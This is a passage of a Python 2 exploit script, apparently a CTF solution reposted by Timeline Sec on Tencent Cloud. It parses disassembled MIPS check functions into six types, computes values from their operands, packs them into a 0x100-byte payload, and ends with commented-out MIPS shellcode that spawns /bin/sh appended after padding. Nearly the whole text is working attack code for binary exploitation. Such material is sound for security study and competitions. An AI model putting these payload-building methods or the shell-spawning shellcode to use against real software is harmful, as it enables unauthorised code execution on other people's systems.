parameters.append(u"0")
para_offset += 0x8
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
# constant
curr_ins = instructions[para_offset]
# parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
parameters.append(unicode(0x7f))
para_offset += 0x18
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x14
else:
parameters.append(u"0")
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
else:
parameters.append(u"0")
type1[func_addr] = parameters
pass
# type 2
elif instructions[func_addr + 0x104][0] == u"jal":
para_offset = func_addr + 0x18
parameters = []
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
initial = curr_ins[1].split(", ")[-1]
parameters.append(initial)
parameters.append(unicode((int(initial) + 1) % 4))
parameters.append(unicode((int(initial) + 2) % 4))
else:
initial = u"0"
parameters.append(initial)
parameters.append(unicode((int(initial) + 1) % 4))
parameters.append(unicode((int(initial) + 2) % 4))
if initial != u"1":
para_offset += 0x28
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
else:
para_offset += 0x2c
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
initial = curr_ins[1].split(", ")[-1]
parameters.append(initial)
parameters.append(unicode((int(initial) + 1) % 4))
parameters.append(unicode((int(initial) + 2) % 4))
else:
initial = u"0"
parameters.append(initial)
parameters.append(unicode((int(initial) + 1) % 4))
parameters.append(unicode((int(initial) + 2) % 4))
if initial != u"1":
para_offset += 0x28
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
else:
para_offset += 0x2c
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
initial = curr_ins[1].split(", ")[-1]
parameters.append(initial)
parameters.append(unicode((int(initial) + 1) % 4))
parameters.append(unicode((int(initial) + 2) % 4))
else:
initial = u"0"
parameters.append(initial)
parameters.append(unicode((int(initial) + 1) % 4))
parameters.append(unicode((int(initial) + 2) % 4))
if initial != u"1":
para_offset += 0x28
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
else:
para_offset += 0x2c
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
initial = curr_ins[1].split(", ")[-1]
parameters.append(initial)
parameters.append(unicode((int(initial) + 1) % 4))
parameters.append(unicode((int(initial) + 2) % 4))
else:
initial = u"0"
parameters.append(initial)
parameters.append(unicode((int(initial) + 1) % 4))
parameters.append(unicode((int(initial) + 2) % 4))
if initial != u"1":
para_offset += 0x28
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
else:
para_offset += 0x2c
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
type2[func_addr] = parameters
pass
# type 3
elif instructions[func_addr + 0x10c][0] == u"jal" or instructions[func_addr + 0x114][0] == u"jal" or instructions[func_addr + 0x11c][0] == u"jal":
para_offset = func_addr + 0x18
parameters = []
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x8
else:
parameters.append(u"0")
para_offset += 0x4
# constant
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x8
else:
parameters.append(u"0")
para_offset += 0x4
# constant
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x10
else:
parameters.append(u"0")
para_offset += 0xc
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x30
else:
parameters.append(u"0")
parameters.append(u"0")
para_offset += 0x28
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x24
else:
parameters.append(u"0")
parameters.append(u"0")
para_offset += 0x1c
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x2c
else:
parameters.append(u"0")
parameters.append(u"0")
para_offset += 0x24
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
parameters.append(curr_ins[1].split(", ")[-1])
else:
parameters.append(u"0")
parameters.append(u"0")
type3[func_addr] = parameters
pass
# type 4
elif instructions[func_addr + 0x9c][0] == u"jal" or instructions[func_addr + 0x9c + 4][0] == u"jal":
para_offset = func_addr + 0x18
parameters = []
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x10
else:
parameters.append(u"0")
para_offset += 0xc
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
# constant
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x10
else:
parameters.append(u"0")
para_offset += 0xc
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
# constant
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x10
else:
parameters.append(u"0")
para_offset += 0xc
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
# constant
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
type4[func_addr] = parameters
pass
# type 5
elif instructions[func_addr + 0x190][0] == u"jal":
para_offset = func_addr + 0x18
parameters = []
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x24
else:
parameters.append(u"0")
para_offset += (0x24 - 8)
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x38
else:
parameters.append(u"0")
para_offset += (0x38 - 0x8)
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x24
else:
parameters.append(u"0")
para_offset += (0x24 - 8)
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
else:
parameters.append(u"0")
#######################
para_offset = func_addr + 0xd0
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x24
else:
parameters.append(u"0")
para_offset += (0x24 - 8)
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x38
else:
parameters.append(u"0")
para_offset += (0x38 - 0x8)
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x24
else:
parameters.append(u"0")
para_offset += (0x24 - 8)
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x34
else:
parameters.append(u"0")
para_offset += 0x2C
type5[func_addr] = parameters
if 'beq' in instructions[func_addr + 0xc4][0]:
parameters.append(False)
else:
parameters.append(True)
if 'beq' in instructions[func_addr + 0x17c][0]:
parameters.append(False)
else:
parameters.append(True)
pass
# type 6
else:
para_offset = func_addr + 0x18
parameters = []
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc + 8
else:
parameters.append(u"0")
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x14
else:
parameters.append(u"0")
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x8
else:
parameters.append(u"0")
para_offset += 0x4
# constant
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x8
else:
parameters.append(u"0")
para_offset += 0x4
# constant
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
type6[func_addr] = parameters
result = []
for x in check_functions[::-1]:
if x in type1:
result.append(p32(case1(map(int, type1[x]))))
elif x in type2:
result.append(p32(case2(map(int, type2[x]))))
elif x in type3:
result.append(p32(case3(map(int, type3[x]))))
elif x in type4:
result.append(p32(case4(map(int, type4[x]))))
elif x in type5:
# print map(int, type5[x]), hex(x)
# print hex(x)
result.append(p32(case5(map(int, type5[x]))))
elif x in type6:
result.append(p32(case6(map(int, type6[x]))))
payload = "".join(result).ljust(0x100, "\x00")
return payload
# shellcode = "\x00\x01\x06\x24\xdc\xff\xff\x27\x08\x00\xe0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x06\x28\xff\xff\xd0\x04\xe0\xff\xbd\x27\x18\x00\xe4\x27\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
# print generatePayload("real_code") + "AAAABBBB" + shellcode
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!